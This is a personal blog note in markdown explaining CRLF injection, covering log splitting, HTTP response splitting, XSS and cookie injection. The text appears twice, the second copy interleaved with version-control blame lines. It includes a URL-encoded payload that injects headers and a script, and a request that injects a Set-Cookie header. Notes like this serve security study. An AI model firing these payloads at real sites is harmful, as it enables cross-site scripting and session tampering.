Casual_blog/content/hacking/HowTo_CRLF.md

+++
title = 'HowTo CRLF'
date = 2024-09-25
+++


Mostly fixed thing! May occure in some handwritten web-servers<!--more-->

CRLF - Carriege Return (\r) Line Feed (\n) (or %0d %0a)


Inserting \r\n into URL allow attacker to:
- log splitting - to insert logs to server that may decieve administrator
- HTTP response slpitting - Allows to add HTTP headers to the HTTP response <!-- TODO how does it work? -->
	- XSS - `www.target.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E` - disables XSS protection, set location to custom (but does it work without 302/201 status???), sets html content-type and injects javascript.
	- cookie injection
	- check another note

For example:
`GET /%0d%0aSet-Cookie:CRLFInjection=PreritPathak HTTP/1.1`
Will add `Set-Cookie:CRLFInjection=PreritPathak` header to HTTP response

{{< source >}}
https://www.geeksforgeeks.org/crlf-injection-attack/
{{< /source >}}
test custom 404 2024-09-03 19:36:04 +00:00			`+++`
			`title = 'HowTo CRLF'`
new posts 2024-09-03 23:24:52 +00:00			`date = 2024-09-25`
test custom 404 2024-09-03 19:36:04 +00:00			`+++`


			`Mostly fixed thing! May occure in some handwritten web-servers<!--more-->`

			`CRLF - Carriege Return (\r) Line Feed (\n) (or %0d %0a)`



			`Inserting \r\n into URL allow attacker to:`
			`- log splitting - to insert logs to server that may decieve administrator`
			`- HTTP response slpitting - Allows to add HTTP headers to the HTTP response <!-- TODO how does it work? -->`
			- XSS - `www.target.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E` - disables XSS protection, set location to custom (but does it work without 302/201 status???), sets html content-type and injects javascript.
			`- cookie injection`
			`- check another note`

			`For example:`
			`GET /%0d%0aSet-Cookie:CRLFInjection=PreritPathak HTTP/1.1`
			Will add `Set-Cookie:CRLFInjection=PreritPathak` header to HTTP response

			`{{< source >}}`
			`https://www.geeksforgeeks.org/crlf-injection-attack/`
			`{{< /source >}}`